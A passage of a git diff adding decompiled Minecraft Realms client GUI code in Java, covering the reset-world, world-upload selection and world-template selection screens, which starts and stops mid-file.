+ { + this.func_224435_b(p_223627_1_); + } + else + { + switch (p_223627_1_.field_230655_i_) + { + case WORLD_TEMPLATE: + this.field_224472_r = RealmsResetWorldScreen.ResetType.SURVIVAL_SPAWN; + break; + + case ADVENTUREMAP: + this.field_224472_r = RealmsResetWorldScreen.ResetType.ADVENTURE; + break; + + case EXPERIENCE: + this.field_224472_r = RealmsResetWorldScreen.ResetType.EXPERIENCE; + break; + + case INSPIRATION: + this.field_224472_r = RealmsResetWorldScreen.ResetType.INSPIRATION; + } + + this.field_224474_t = p_223627_1_; + this.func_224454_b(); + } + } + } + + private void func_224454_b() + { + this.func_237952_a_(() -> + { + switch (this.field_224472_r) + { + case ADVENTURE: + case SURVIVAL_SPAWN: + case EXPERIENCE: + case INSPIRATION: + if (this.field_224474_t != null) + { + this.func_224435_b(this.field_224474_t); + } + + break; + + case GENERATE: + if (this.field_224473_s != null) + { + this.func_224437_b(this.field_224473_s); + } + } + }); + } + + public void func_237952_a_(Runnable p_237952_1_) + { + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(this.field_224457_c, new SwitchMinigameRealmsAction(this.field_224458_d.field_230582_a_, this.field_224455_a, p_237952_1_))); + } + + public void func_224435_b(WorldTemplate p_224435_1_) + { + this.func_237953_a_((String)null, p_224435_1_, -1, true); + } + + private void func_224437_b(RealmsResetWorldScreen.ResetWorldInfo p_224437_1_) + { + this.func_237953_a_(p_224437_1_.field_225157_a, (WorldTemplate)null, p_224437_1_.field_225158_b, p_224437_1_.field_225159_c); + } + + private void func_237953_a_(@Nullable String p_237953_1_, @Nullable WorldTemplate p_237953_2_, int p_237953_3_, boolean p_237953_4_) + { + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(this.field_224457_c, new ResetWorldRealmsAction(p_237953_1_, p_237953_2_, p_237953_3_, p_237953_4_, this.field_224458_d.field_230582_a_, this.field_224475_u, this.field_237942_L_))); + } + + public void func_224438_a(RealmsResetWorldScreen.ResetWorldInfo p_224438_1_) + { + if (this.field_224455_a == -1) + { + this.func_224437_b(p_224438_1_); + } + else + { + this.field_224472_r = RealmsResetWorldScreen.ResetType.GENERATE; + this.field_224473_s = p_224438_1_; + this.func_224454_b(); + } + } + + static enum ResetType + { + NONE, + GENERATE, + UPLOAD, + ADVENTURE, + SURVIVAL_SPAWN, + EXPERIENCE, + INSPIRATION; + } + + public static class ResetWorldInfo + { + private final String field_225157_a; + private final int field_225158_b; + private final boolean field_225159_c; + + public ResetWorldInfo(String p_i51560_1_, int p_i51560_2_, boolean p_i51560_3_) + { + this.field_225157_a = p_i51560_1_; + this.field_225158_b = p_i51560_2_; + this.field_225159_c = p_i51560_3_; + } + } + + class TexturedButton extends Button + { + private final ResourceLocation field_223824_c; + + public TexturedButton(int p_i232218_2_, int p_i232218_3_, ITextComponent p_i232218_4_, ResourceLocation p_i232218_5_, Button.IPressable p_i232218_6_) + { + super(p_i232218_2_, p_i232218_3_, 60, 72, p_i232218_4_, p_i232218_6_); + this.field_223824_c = p_i232218_5_; + } + + public void renderButton(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + RealmsResetWorldScreen.this.func_237948_a_(matrixStack, this.x, this.y, this.getMessage(), this.field_223824_c, this.isHovered(), this.isMouseOver((double)mouseX, (double)mouseY)); + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsSelectFileToUploadScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsSelectFileToUploadScreen.java new file mode 100644 index 00000000..7dced175 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsSelectFileToUploadScreen.java @@ -0,0 +1,284 @@ +package com.mojang.realmsclient.gui.screens; + +import com.google.common.collect.Lists; +import com.mojang.blaze3d.matrix.MatrixStack; +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.Arrays; +import java.util.Date; +import java.util.List; +import java.util.stream.Collectors; +import javax.annotation.Nullable; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.client.gui.widget.list.ExtendedList; +import net.minecraft.client.resources.I18n; +import net.minecraft.realms.RealmsLabel; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsObjectSelectionList; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TextFormatting; +import net.minecraft.util.text.TranslationTextComponent; +import net.minecraft.world.storage.WorldSummary; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsSelectFileToUploadScreen extends RealmsScreen +{ + private static final Logger field_224547_a = LogManager.getLogger(); + private static final ITextComponent field_243147_b = new TranslationTextComponent("selectWorld.world"); + private static final ITextComponent field_243148_c = new TranslationTextComponent("selectWorld.conversion"); + private static final ITextComponent field_243149_p = (new TranslationTextComponent("mco.upload.hardcore")).mergeStyle(TextFormatting.DARK_RED); + private static final ITextComponent field_243150_q = new TranslationTextComponent("selectWorld.cheats"); + private static final DateFormat field_224552_f = new SimpleDateFormat(); + private final RealmsResetWorldScreen field_224548_b; + private final long field_224549_c; + private final int field_224550_d; + private Button field_224551_e; + private List field_224553_g = Lists.newArrayList(); + private int field_224554_h = -1; + private RealmsSelectFileToUploadScreen.WorldSelectionList field_224555_i; + private RealmsLabel field_224559_m; + private RealmsLabel field_224560_n; + private RealmsLabel field_224561_o; + private final Runnable field_237967_A_; + + public RealmsSelectFileToUploadScreen(long p_i232219_1_, int p_i232219_3_, RealmsResetWorldScreen p_i232219_4_, Runnable p_i232219_5_) + { + this.field_224548_b = p_i232219_4_; + this.field_224549_c = p_i232219_1_; + this.field_224550_d = p_i232219_3_; + this.field_237967_A_ = p_i232219_5_; + } + + private void func_224541_a() throws Exception + { + this.field_224553_g = this.minecraft.getSaveLoader().getSaveList().stream().sorted((p_237970_0_, p_237970_1_) -> + { + if (p_237970_0_.getLastTimePlayed() < p_237970_1_.getLastTimePlayed()) + { + return 1; + } + else { + return p_237970_0_.getLastTimePlayed() > p_237970_1_.getLastTimePlayed() ? -1 : p_237970_0_.getFileName().compareTo(p_237970_1_.getFileName()); + } + }).collect(Collectors.toList()); + + for (WorldSummary worldsummary : this.field_224553_g) + { + this.field_224555_i.func_237986_a_(worldsummary); + } + } + + public void init() + { + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.field_224555_i = new RealmsSelectFileToUploadScreen.WorldSelectionList(); + + try + { + this.func_224541_a(); + } + catch (Exception exception) + { + field_224547_a.error("Couldn't load level list", (Throwable)exception); + this.minecraft.displayGuiScreen(new RealmsGenericErrorScreen(new StringTextComponent("Unable to load worlds"), ITextComponent.getTextComponentOrEmpty(exception.getMessage()), this.field_224548_b)); + return; + } + + this.addListener(this.field_224555_i); + this.field_224551_e = this.addButton(new Button(this.width / 2 - 154, this.height - 32, 153, 20, new TranslationTextComponent("mco.upload.button.name"), (p_237976_1_) -> + { + this.func_224544_b(); + })); + this.field_224551_e.active = this.field_224554_h >= 0 && this.field_224554_h < this.field_224553_g.size(); + this.addButton(new Button(this.width / 2 + 6, this.height - 32, 153, 20, DialogTexts.GUI_BACK, (p_237973_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224548_b); + })); + this.field_224559_m = this.addListener(new RealmsLabel(new TranslationTextComponent("mco.upload.select.world.title"), this.width / 2, 13, 16777215)); + this.field_224560_n = this.addListener(new RealmsLabel(new TranslationTextComponent("mco.upload.select.world.subtitle"), this.width / 2, func_239562_k_(-1), 10526880)); + + if (this.field_224553_g.isEmpty()) + { + this.field_224561_o = this.addListener(new RealmsLabel(new TranslationTextComponent("mco.upload.select.world.none"), this.width / 2, this.height / 2 - 20, 16777215)); + } + else + { + this.field_224561_o = null; + } + + this.func_231411_u_(); + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + private void func_224544_b() + { + if (this.field_224554_h != -1 && !this.field_224553_g.get(this.field_224554_h).isHardcoreModeEnabled()) + { + WorldSummary worldsummary = this.field_224553_g.get(this.field_224554_h); + this.minecraft.displayGuiScreen(new RealmsUploadScreen(this.field_224549_c, this.field_224550_d, this.field_224548_b, worldsummary, this.field_237967_A_)); + } + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + this.field_224555_i.render(matrixStack, mouseX, mouseY, partialTicks); + this.field_224559_m.func_239560_a_(this, matrixStack); + this.field_224560_n.func_239560_a_(this, matrixStack); + + if (this.field_224561_o != null) + { + this.field_224561_o.func_239560_a_(this, matrixStack); + } + + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.minecraft.displayGuiScreen(this.field_224548_b); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + private static ITextComponent func_237977_c_(WorldSummary p_237977_0_) + { + return p_237977_0_.getEnumGameType().getDisplayName(); + } + + private static String func_237979_d_(WorldSummary p_237979_0_) + { + return field_224552_f.format(new Date(p_237979_0_.getLastTimePlayed())); + } + + class WorldSelectionEntry extends ExtendedList.AbstractListEntry + { + private final WorldSummary field_223759_a; + private final String field_243160_c; + private final String field_243161_d; + private final ITextComponent field_243162_e; + + public WorldSelectionEntry(WorldSummary p_i232220_2_) + { + this.field_223759_a = p_i232220_2_; + this.field_243160_c = p_i232220_2_.getDisplayName(); + this.field_243161_d = p_i232220_2_.getFileName() + " (" + RealmsSelectFileToUploadScreen.func_237979_d_(p_i232220_2_) + ")"; + + if (p_i232220_2_.requiresConversion()) + { + this.field_243162_e = RealmsSelectFileToUploadScreen.field_243148_c; + } + else + { + ITextComponent itextcomponent; + + if (p_i232220_2_.isHardcoreModeEnabled()) + { + itextcomponent = RealmsSelectFileToUploadScreen.field_243149_p; + } + else + { + itextcomponent = RealmsSelectFileToUploadScreen.func_237977_c_(p_i232220_2_); + } + + if (p_i232220_2_.getCheatsEnabled()) + { + itextcomponent = itextcomponent.deepCopy().appendString(", ").append(RealmsSelectFileToUploadScreen.field_243150_q); + } + + this.field_243162_e = itextcomponent; + } + } + + public void render(MatrixStack p_230432_1_, int p_230432_2_, int p_230432_3_, int p_230432_4_, int p_230432_5_, int p_230432_6_, int p_230432_7_, int p_230432_8_, boolean p_230432_9_, float p_230432_10_) + { + this.func_237985_a_(p_230432_1_, this.field_223759_a, p_230432_2_, p_230432_4_, p_230432_3_); + } + + public boolean mouseClicked(double mouseX, double mouseY, int button) + { + RealmsSelectFileToUploadScreen.this.field_224555_i.func_231400_a_(RealmsSelectFileToUploadScreen.this.field_224553_g.indexOf(this.field_223759_a)); + return true; + } + + protected void func_237985_a_(MatrixStack p_237985_1_, WorldSummary p_237985_2_, int p_237985_3_, int p_237985_4_, int p_237985_5_) + { + String s; + + if (this.field_243160_c.isEmpty()) + { + s = RealmsSelectFileToUploadScreen.field_243147_b + " " + (p_237985_3_ + 1); + } + else + { + s = this.field_243160_c; + } + + RealmsSelectFileToUploadScreen.this.font.drawString(p_237985_1_, s, (float)(p_237985_4_ + 2), (float)(p_237985_5_ + 1), 16777215); + RealmsSelectFileToUploadScreen.this.font.drawString(p_237985_1_, this.field_243161_d, (float)(p_237985_4_ + 2), (float)(p_237985_5_ + 12), 8421504); + RealmsSelectFileToUploadScreen.this.font.func_243248_b(p_237985_1_, this.field_243162_e, (float)(p_237985_4_ + 2), (float)(p_237985_5_ + 12 + 10), 8421504); + } + } + + class WorldSelectionList extends RealmsObjectSelectionList + { + public WorldSelectionList() + { + super(RealmsSelectFileToUploadScreen.this.width, RealmsSelectFileToUploadScreen.this.height, RealmsSelectFileToUploadScreen.func_239562_k_(0), RealmsSelectFileToUploadScreen.this.height - 40, 36); + } + + public void func_237986_a_(WorldSummary p_237986_1_) + { + this.addEntry(RealmsSelectFileToUploadScreen.this.new WorldSelectionEntry(p_237986_1_)); + } + + public int getMaxPosition() + { + return RealmsSelectFileToUploadScreen.this.field_224553_g.size() * 36; + } + + public boolean isFocused() + { + return RealmsSelectFileToUploadScreen.this.getListener() == this; + } + + public void renderBackground(MatrixStack p_230433_1_) + { + RealmsSelectFileToUploadScreen.this.renderBackground(p_230433_1_); + } + + public void func_231400_a_(int p_231400_1_) + { + this.func_239561_k_(p_231400_1_); + + if (p_231400_1_ != -1) + { + WorldSummary worldsummary = RealmsSelectFileToUploadScreen.this.field_224553_g.get(p_231400_1_); + String s = I18n.format("narrator.select.list.position", p_231400_1_ + 1, RealmsSelectFileToUploadScreen.this.field_224553_g.size()); + String s1 = RealmsNarratorHelper.func_239552_b_(Arrays.asList(worldsummary.getDisplayName(), RealmsSelectFileToUploadScreen.func_237979_d_(worldsummary), RealmsSelectFileToUploadScreen.func_237977_c_(worldsummary).getString(), s)); + RealmsNarratorHelper.func_239550_a_(I18n.format("narrator.select", s1)); + } + } + + public void setSelected(@Nullable RealmsSelectFileToUploadScreen.WorldSelectionEntry entry) + { + super.setSelected(entry); + RealmsSelectFileToUploadScreen.this.field_224554_h = this.getEventListeners().indexOf(entry); + RealmsSelectFileToUploadScreen.this.field_224551_e.active = RealmsSelectFileToUploadScreen.this.field_224554_h >= 0 && RealmsSelectFileToUploadScreen.this.field_224554_h < this.getItemCount() && !RealmsSelectFileToUploadScreen.this.field_224553_g.get(RealmsSelectFileToUploadScreen.this.field_224554_h).isHardcoreModeEnabled(); + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsSelectWorldTemplateScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsSelectWorldTemplateScreen.java new file mode 100644 index 00000000..1eeecb2c --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsSelectWorldTemplateScreen.java @@ -0,0 +1,632 @@ +package com.mojang.realmsclient.gui.screens; + +import com.google.common.collect.Lists; +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.datafixers.util.Either; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.dto.WorldTemplate; +import com.mojang.realmsclient.dto.WorldTemplatePaginatedList; +import com.mojang.realmsclient.exception.RealmsServiceException; +import com.mojang.realmsclient.util.RealmsTextureManager; +import com.mojang.realmsclient.util.TextRenderingUtils; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.Objects; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import javax.annotation.Nullable; +import net.minecraft.client.gui.AbstractGui; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.client.gui.widget.list.ExtendedList; +import net.minecraft.client.resources.I18n; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsObjectSelectionList; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.Util; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TextFormatting; +import net.minecraft.util.text.TranslationTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsSelectWorldTemplateScreen extends RealmsScreen +{ + private static final Logger field_224515_a = LogManager.getLogger(); + private static final ResourceLocation field_237987_b_ = new ResourceLocation("realms", "textures/gui/realms/link_icons.png"); + private static final ResourceLocation field_237988_c_ = new ResourceLocation("realms", "textures/gui/realms/trailer_icons.png"); + private static final ResourceLocation field_237989_p_ = new ResourceLocation("realms", "textures/gui/realms/slot_frame.png"); + private static final ITextComponent field_243163_q = new TranslationTextComponent("mco.template.info.tooltip"); + private static final ITextComponent field_243164_r = new TranslationTextComponent("mco.template.trailer.tooltip"); + private final NotifableRealmsScreen field_224516_b; + private RealmsSelectWorldTemplateScreen.WorldTemplateSelectionList field_224517_c; + private int field_224518_d = -1; + private ITextComponent field_224519_e; + private Button field_224520_f; + private Button field_224521_g; + private Button field_224522_h; + @Nullable + private ITextComponent field_224523_i; + private String field_224524_j; + private final RealmsServer.ServerType field_224525_k; + private int field_224526_l; + @Nullable + private ITextComponent[] field_224527_m; + private String field_224528_n; + private boolean field_224529_o; + private boolean field_224530_p; + @Nullable + private List field_224531_q; + + public RealmsSelectWorldTemplateScreen(NotifableRealmsScreen p_i51752_1_, RealmsServer.ServerType p_i51752_2_) + { + this(p_i51752_1_, p_i51752_2_, (WorldTemplatePaginatedList)null); + } + + public RealmsSelectWorldTemplateScreen(NotifableRealmsScreen p_i51753_1_, RealmsServer.ServerType p_i51753_2_, @Nullable WorldTemplatePaginatedList p_i51753_3_) + { + this.field_224516_b = p_i51753_1_; + this.field_224525_k = p_i51753_2_; + + if (p_i51753_3_ == null) + { + this.field_224517_c = new RealmsSelectWorldTemplateScreen.WorldTemplateSelectionList(); + this.func_224497_a(new WorldTemplatePaginatedList(10)); + } + else + { + this.field_224517_c = new RealmsSelectWorldTemplateScreen.WorldTemplateSelectionList(Lists.newArrayList(p_i51753_3_.field_230657_a_)); + this.func_224497_a(p_i51753_3_); + } + + this.field_224519_e = new TranslationTextComponent("mco.template.title"); + } + + public void func_238001_a_(ITextComponent p_238001_1_) + { + this.field_224519_e = p_238001_1_; + } + + public void func_238002_a_(ITextComponent... p_238002_1_) + { + this.field_224527_m = p_238002_1_; + this.field_224529_o = true; + } + + public boolean mouseClicked(double mouseX, double mouseY, int button) + { + if (this.field_224530_p && this.field_224528_n != null) + { + Util.getOSType().openURI("https://www.minecraft.net/realms/adventure-maps-in-1-9"); + return true; + } + else + { + return super.mouseClicked(mouseX, mouseY, button); + } + } + + public void init() + { + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.field_224517_c = new RealmsSelectWorldTemplateScreen.WorldTemplateSelectionList(this.field_224517_c.func_223879_b()); + this.field_224521_g = this.addButton(new Button(this.width / 2 - 206, this.height - 32, 100, 20, new TranslationTextComponent("mco.template.button.trailer"), (p_238011_1_) -> + { + this.func_224496_i(); + })); + this.field_224520_f = this.addButton(new Button(this.width / 2 - 100, this.height - 32, 100, 20, new TranslationTextComponent("mco.template.button.select"), (p_238008_1_) -> + { + this.func_224500_h(); + })); + ITextComponent itextcomponent = this.field_224525_k == RealmsServer.ServerType.MINIGAME ? DialogTexts.GUI_CANCEL : DialogTexts.GUI_BACK; + Button button = new Button(this.width / 2 + 6, this.height - 32, 100, 20, itextcomponent, (p_238006_1_) -> + { + this.func_224484_g(); + }); + this.addButton(button); + this.field_224522_h = this.addButton(new Button(this.width / 2 + 112, this.height - 32, 100, 20, new TranslationTextComponent("mco.template.button.publisher"), (p_238000_1_) -> + { + this.func_224511_j(); + })); + this.field_224520_f.active = false; + this.field_224521_g.visible = false; + this.field_224522_h.visible = false; + this.addListener(this.field_224517_c); + this.setListenerDefault(this.field_224517_c); + Stream stream = Stream.of(this.field_224519_e); + + if (this.field_224527_m != null) + { + stream = Stream.concat(Stream.of(this.field_224527_m), stream); + } + + RealmsNarratorHelper.func_239549_a_(stream.filter(Objects::nonNull).map(ITextComponent::getString).collect(Collectors.toList())); + } + + private void func_224514_b() + { + this.field_224522_h.visible = this.func_224510_d(); + this.field_224521_g.visible = this.func_224512_f(); + this.field_224520_f.active = this.func_224495_c(); + } + + private boolean func_224495_c() + { + return this.field_224518_d != -1; + } + + private boolean func_224510_d() + { + return this.field_224518_d != -1 && !this.func_224487_e().field_230651_e_.isEmpty(); + } + + private WorldTemplate func_224487_e() + { + return this.field_224517_c.func_223877_a(this.field_224518_d); + } + + private boolean func_224512_f() + { + return this.field_224518_d != -1 && !this.func_224487_e().field_230653_g_.isEmpty(); + } + + public void tick() + { + super.tick(); + --this.field_224526_l; + + if (this.field_224526_l < 0) + { + this.field_224526_l = 0; + } + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.func_224484_g(); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + private void func_224484_g() + { + this.field_224516_b.func_223627_a_((WorldTemplate)null); + this.minecraft.displayGuiScreen(this.field_224516_b); + } + + private void func_224500_h() + { + if (this.func_238024_y_()) + { + this.field_224516_b.func_223627_a_(this.func_224487_e()); + } + } + + private boolean func_238024_y_() + { + return this.field_224518_d >= 0 && this.field_224518_d < this.field_224517_c.getItemCount(); + } + + private void func_224496_i() + { + if (this.func_238024_y_()) + { + WorldTemplate worldtemplate = this.func_224487_e(); + + if (!"".equals(worldtemplate.field_230653_g_)) + { + Util.getOSType().openURI(worldtemplate.field_230653_g_); + } + } + } + + private void func_224511_j() + { + if (this.func_238024_y_()) + { + WorldTemplate worldtemplate = this.func_224487_e(); + + if (!"".equals(worldtemplate.field_230651_e_)) + { + Util.getOSType().openURI(worldtemplate.field_230651_e_); + } + } + } + + private void func_224497_a(final WorldTemplatePaginatedList p_224497_1_) + { + (new Thread("realms-template-fetcher") + { + public void run() + { + WorldTemplatePaginatedList worldtemplatepaginatedlist = p_224497_1_; + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + while (worldtemplatepaginatedlist != null) + { + Either either = RealmsSelectWorldTemplateScreen.this.func_224509_a(worldtemplatepaginatedlist, realmsclient); + worldtemplatepaginatedlist = RealmsSelectWorldTemplateScreen.this.minecraft.supplyAsync(() -> + { + if (either.right().isPresent()) + { + RealmsSelectWorldTemplateScreen.field_224515_a.error("Couldn't fetch templates: {}", either.right().get()); + + if (RealmsSelectWorldTemplateScreen.this.field_224517_c.func_223878_a()) + { + RealmsSelectWorldTemplateScreen.this.field_224531_q = TextRenderingUtils.func_225224_a(I18n.format("mco.template.select.failure")); + } + + return null; + } + else { + WorldTemplatePaginatedList worldtemplatepaginatedlist1 = either.left().get(); + + for (WorldTemplate worldtemplate : worldtemplatepaginatedlist1.field_230657_a_) + { + RealmsSelectWorldTemplateScreen.this.field_224517_c.func_223876_a(worldtemplate); + } + + if (worldtemplatepaginatedlist1.field_230657_a_.isEmpty()) + { + if (RealmsSelectWorldTemplateScreen.this.field_224517_c.func_223878_a()) + { + String s = I18n.format("mco.template.select.none", "%link"); + TextRenderingUtils.LineSegment textrenderingutils$linesegment = TextRenderingUtils.LineSegment.func_225214_a(I18n.format("mco.template.select.none.linkTitle"), "https://aka.ms/MinecraftRealmsContentCreator"); + RealmsSelectWorldTemplateScreen.this.field_224531_q = TextRenderingUtils.func_225224_a(s, textrenderingutils$linesegment); + } + + return null; + } + else { + return worldtemplatepaginatedlist1; + } + } + }).join(); + } + } + }).start(); + } + + private Either func_224509_a(WorldTemplatePaginatedList p_224509_1_, RealmsClient p_224509_2_) + { + try + { + return Either.left(p_224509_2_.func_224930_a(p_224509_1_.field_230658_b_ + 1, p_224509_1_.field_230659_c_, this.field_224525_k)); + } + catch (RealmsServiceException realmsserviceexception) + { + return Either.right(realmsserviceexception.getMessage()); + } + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.field_224523_i = null; + this.field_224524_j = null; + this.field_224530_p = false; + this.renderBackground(matrixStack); + this.field_224517_c.render(matrixStack, mouseX, mouseY, partialTicks); + + if (this.field_224531_q != null) + { + this.func_237992_a_(matrixStack, mouseX, mouseY, this.field_224531_q); + } + + drawCenteredString(matrixStack, this.font, this.field_224519_e, this.width / 2, 13, 16777215); + + if (this.field_224529_o) + { + ITextComponent[] aitextcomponent = this.field_224527_m; + + for (int i = 0; i < aitextcomponent.length; ++i) + { + int j = this.font.getStringPropertyWidth(aitextcomponent[i]); + int k = this.width / 2 - j / 2; + int l = func_239562_k_(-1 + i); + + if (mouseX >= k && mouseX <= k + j && mouseY >= l && mouseY <= l + 9) + { + this.field_224530_p = true; + } + } + + for (int i1 = 0; i1 < aitextcomponent.length; ++i1) + { + ITextComponent itextcomponent = aitextcomponent[i1]; + int j1 = 10526880; + + if (this.field_224528_n != null) + { + if (this.field_224530_p) + { + j1 = 7107012; + itextcomponent = itextcomponent.deepCopy().mergeStyle(TextFormatting.STRIKETHROUGH); + } + else + { + j1 = 3368635; + } + } + + drawCenteredString(matrixStack, this.font, itextcomponent, this.width / 2, func_239562_k_(-1 + i1), j1); + } + } + + super.render(matrixStack, mouseX, mouseY, partialTicks); + this.func_237993_a_(matrixStack, this.field_224523_i, mouseX, mouseY); + } + + private void func_237992_a_(MatrixStack p_237992_1_, int p_237992_2_, int p_237992_3_, List p_237992_4_) + { + for (int i = 0; i < p_237992_4_.size(); ++i) + { + TextRenderingUtils.Line textrenderingutils$line = p_237992_4_.get(i); + int j = func_239562_k_(4 + i); + int k = textrenderingutils$line.field_225213_a.stream().mapToInt((p_237999_1_) -> + { + return this.font.getStringWidth(p_237999_1_.func_225215_a()); + }).sum(); + int l = this.width / 2 - k / 2; + + for (TextRenderingUtils.LineSegment textrenderingutils$linesegment : textrenderingutils$line.field_225213_a) + { + int i1 = textrenderingutils$linesegment.func_225217_b() ? 3368635 : 16777215; + int j1 = this.font.drawStringWithShadow(p_237992_1_, textrenderingutils$linesegment.func_225215_a(), (float)l, (float)j, i1); + + if (textrenderingutils$linesegment.func_225217_b() && p_237992_2_ > l && p_237992_2_ < j1 && p_237992_3_ > j - 3 && p_237992_3_ < j + 8) + { + this.field_224523_i = new StringTextComponent(textrenderingutils$linesegment.func_225216_c()); + this.field_224524_j = textrenderingutils$linesegment.func_225216_c(); + } + + l = j1; + } + } + } + + protected void func_237993_a_(MatrixStack p_237993_1_, @Nullable ITextComponent p_237993_2_, int p_237993_3_, int p_237993_4_) + { + if (p_237993_2_ != null) + { + int i = p_237993_3_ + 12; + int j = p_237993_4_ - 12; + int k = this.font.getStringPropertyWidth(p_237993_2_); + this.fillGradient(p_237993_1_, i - 3, j - 3, i + k + 3, j + 8 + 3, -1073741824, -1073741824); + this.font.func_243246_a(p_237993_1_, p_237993_2_, (float)i, (float)j, 16777215); + } + } + + class WorldTemplateSelectionEntry extends ExtendedList.AbstractListEntry + { + private final WorldTemplate field_223756_a; + + public WorldTemplateSelectionEntry(WorldTemplate p_i51724_2_) + { + this.field_223756_a = p_i51724_2_; + } + + public void render(MatrixStack p_230432_1_, int p_230432_2_, int p_230432_3_, int p_230432_4_, int p_230432_5_, int p_230432_6_, int p_230432_7_, int p_230432_8_, boolean p_230432_9_, float p_230432_10_) + { + this.func_238029_a_(p_230432_1_, this.field_223756_a, p_230432_4_, p_230432_3_, p_230432_7_, p_230432_8_); + } + + private void func_238029_a_(MatrixStack p_238029_1_, WorldTemplate p_238029_2_, int p_238029_3_, int p_238029_4_, int p_238029_5_, int p_238029_6_) + { + int i = p_238029_3_ + 45 + 20; + RealmsSelectWorldTemplateScreen.this.font.drawString(p_238029_1_, p_238029_2_.field_230648_b_, (float)i, (float)(p_238029_4_ + 2), 16777215); + RealmsSelectWorldTemplateScreen.this.font.drawString(p_238029_1_, p_238029_2_.field_230650_d_, (float)i, (float)(p_238029_4_ + 15), 7105644); + RealmsSelectWorldTemplateScreen.this.font.drawString(p_238029_1_, p_238029_2_.field_230649_c_, (float)(i + 227 - RealmsSelectWorldTemplateScreen.this.font.getStringWidth(p_238029_2_.field_230649_c_)), (float)(p_238029_4_ + 1), 7105644); + + if (!"".equals(p_238029_2_.field_230651_e_) || !"".equals(p_238029_2_.field_230653_g_) || !"".equals(p_238029_2_.field_230654_h_)) + { + this.func_238028_a_(p_238029_1_, i - 1, p_238029_4_ + 25, p_238029_5_, p_238029_6_, p_238029_2_.field_230651_e_, p_238029_2_.field_230653_g_, p_238029_2_.field_230654_h_); + } + + this.func_238027_a_(p_238029_1_, p_238029_3_, p_238029_4_ + 1, p_238029_5_, p_238029_6_, p_238029_2_); + } + + private void func_238027_a_(MatrixStack p_238027_1_, int p_238027_2_, int p_238027_3_, int p_238027_4_, int p_238027_5_, WorldTemplate p_238027_6_) + { + RealmsTextureManager.func_225202_a(p_238027_6_.field_230647_a_, p_238027_6_.field_230652_f_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_238027_1_, p_238027_2_ + 1, p_238027_3_ + 1, 0.0F, 0.0F, 38, 38, 38, 38); + RealmsSelectWorldTemplateScreen.this.minecraft.getTextureManager().bindTexture(RealmsSelectWorldTemplateScreen.field_237989_p_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_238027_1_, p_238027_2_, p_238027_3_, 0.0F, 0.0F, 40, 40, 40, 40); + } + + private void func_238028_a_(MatrixStack p_238028_1_, int p_238028_2_, int p_238028_3_, int p_238028_4_, int p_238028_5_, String p_238028_6_, String p_238028_7_, String p_238028_8_) + { + if (!"".equals(p_238028_8_)) + { + RealmsSelectWorldTemplateScreen.this.font.drawString(p_238028_1_, p_238028_8_, (float)p_238028_2_, (float)(p_238028_3_ + 4), 5000268); + } + + int i = "".equals(p_238028_8_) ? 0 : RealmsSelectWorldTemplateScreen.this.font.getStringWidth(p_238028_8_) + 2; + boolean flag = false; + boolean flag1 = false; + boolean flag2 = "".equals(p_238028_6_); + + if (p_238028_4_ >= p_238028_2_ + i && p_238028_4_ <= p_238028_2_ + i + 32 && p_238028_5_ >= p_238028_3_ && p_238028_5_ <= p_238028_3_ + 15 && p_238028_5_ < RealmsSelectWorldTemplateScreen.this.height - 15 && p_238028_5_ > 32) + { + if (p_238028_4_ <= p_238028_2_ + 15 + i && p_238028_4_ > i) + { + if (flag2) + { + flag1 = true; + } + else + { + flag = true; + } + } + else if (!flag2) + { + flag1 = true; + } + } + + if (!flag2) + { + RealmsSelectWorldTemplateScreen.this.minecraft.getTextureManager().bindTexture(RealmsSelectWorldTemplateScreen.field_237987_b_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + RenderSystem.pushMatrix(); + RenderSystem.scalef(1.0F, 1.0F, 